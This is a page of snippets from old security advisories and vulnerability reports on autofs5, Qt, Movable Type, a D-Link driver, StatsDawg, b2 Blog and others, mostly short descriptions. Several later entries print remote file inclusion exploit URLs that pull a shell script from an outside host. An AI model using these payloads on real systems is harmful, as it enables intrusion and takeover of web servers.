CentOS 4 : autofs5 (CESA-2007:1177)

Updated autofs5 technology preview packages that fix a security issue are now available for Red Hat Enterprise Linux 4. This update has been rated as having important security impact by the Red Hat Security Response Team. The autofs utility controls the operation of the automount daemon, which...

Serious holes affecting SiteBar 3.3.8

All, As a result of a short security audit of SiteBar, a number of security holes were found. The holes included code execution, a malicious redirect and multiple cases of Javascript injection. After liasing with the developers, the holes have been patched. Attached are the advisory and patch...

RHEL 3 / 4 / 5 : qt (RHSA-2007:0721)

Updated qt packages that correct an integer overflow flaw are now available. This update has been rated as having moderate security impact by the Red Hat Security Response Team. Qt is a software toolkit that simplifies the task of writing and maintaining GUI Graphical User Interface applications...

qt security update

CentOS Errata and Security Advisory CESA-2007:0721 Updated qt packages that correct an integer overflow flaw are now available. This update has been rated as having moderate security impact by the Red Hat Security Response Team. Qt is a software toolkit that simplifies the task of writing and...

Moderate: Red Hat Security Advisory: qt security update

Updated qt packages that correct an integer overflow flaw are now available. This update has been rated as having moderate security impact by the Red Hat Security Response Team. Qt is a software toolkit that simplifies the task of writing and maintaining GUI Graphical User Interface applications...

Portcullis Security Advisory 06-039

Portcullis Security Advisory 06-039 Vulnerable System: Visionsoft Audit Vulnerability Title: The VSAOD server allows unauthenticated arbitrary file overwrites. Vulnerability Discovery and Development: Portcullis Security Testing Services during an application assessment. Further research was...

Print - Access bypass

Print is a module that allows site administrators to produce a "print friendly" version of a posting. By manipulating URL arguments, authenticated and anonymous users are able to access posts that should have been restricted by a node access module such as Organic Groups, Taxonomy Access Control,...

Buffer overflow

Buffer overflow in the wireless driver 6.0.0.18 for D-Link DWL-G650+ Rev. A1 on Windows XP allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via a beacon frame with a long TIM Information Element...

CVE-2007-0933

Buffer overflow in the wireless driver 6.0.0.18 for D-Link DWL-G650+ Rev. A1 on Windows XP allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via a beacon frame with a long TIM Information Element...

CVE-2007-0933

Buffer overflow in the wireless driver 6.0.0.18 for D-Link DWL-G650+ Rev. A1 on Windows XP allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via a beacon frame with a long TIM Information Element...

Portcullis Security Advisory - 06-033

Portcullis Security Advisory - 06-033 Vulnerable System: Movable Type Vulnerability Title: The username and password hash for the administration interface is stored within a cookie. Vulnerability Discovery And Development: Portcullis Security Testing Services. Credit For Discovery: Tim Brown -...

Portcullis Security Advisory 06-034

Portcullis Security Advisory 06-034 Vulnerable System: Movable Type Vulnerability Title: The blog directory path can be set to any arbitrary directory path during the creation of new blogs. Vulnerability discovery and development: Portcullis Security Testing Services. Credit for Discovery: Tim...

Code injection

templates/config/mail.tpl in Tim Soderstrom StatsDawg 0.92 allows remote attackers to execute arbitrary programs by specifying the program name in the qshapeLocation parameter...

CVE-2007-1587

templates/config/mail.tpl in Tim Soderstrom StatsDawg 0.92 allows remote attackers to execute arbitrary programs by specifying the program name in the qshapeLocation parameter...

CVE-2007-1587

CVE-2007-1587 affects Tim Soderstrom StatsDawg 0.92. The vulnerability is in templates/config/mail.tpl and allows remote attackers to execute arbitrary programs by supplying the program name in the qshapeLocation parameter. According to the references, this yields a remote code execution impact w...

inertia-rfi.txt

Version : 0.02 beta Error : require "$inewspath/inertiasqlclass.php"; Exploit : http://www.victim.com/inertianewsmain.php?inewspath=http://www.site.com/shell.txt Eno7.Org - Crazy-King.ORg Thanks : Apaci & Erne & Eno7 & Tamturk & UyussMan & Ayyıldız Tim...

Hunkaray Duyuru Scripti - 'tr' SQL Injection

Hunkaray Duyuru Scripti tr == SQL Injection Vulnerability Author : cl24zy - DrEgHoT - TuF4N Site : www.hacklive.org , www.illegal-attack.org Contact: [email protected] Download Hünkaray Duyuru Scripti tr : http://www.aspindir.com/Goster/4678 Demo : http://b.1asphost.com/hunkaray/duyuru Exploit;...

b2 Blog <= 0.5 (b2verifauth.php) Remote File Include Vulnerability

No description provided by source. b2 - 0.5 index Remote File clude +class : Remote File Include Vulnerability + +Author : mdx +Files : +b2verifauth.php? +code : + + include$index; + + Exploit : ++ + http://www.site./path/b2verifauth.php?index=http://mdxshell.txt? +...

b2 Blog 0.5 - b2verifauth.php Remote File Inclusion

b2 Blog 0.5 - b2verifauth.php Remote File Inclusion b2 - 0.5 index Remote File Ýnclude +class : Remote File Include Vulnerability + +Author : mdx +Files : +b2verifauth.php? +code : + + include$index; + + Exploit : ++ + http://www.site./path/b2verifauth.php?index=http://mdxshell.txt? +...

EternalMart Guestbook 1.10 - adminauth.php Remote File Inclusion

EternalMart Guestbook 1.10 - adminauth.php Remote File Inclusion EternalMart Guestbook 1.1.0 emgbadminpath Remote File Include +class : Remote File Include Vulnerability +Author : mdx +Files : +admin/auth.php? +code : + + include"$emgbadminpath/authfunc.php"; + + download link :...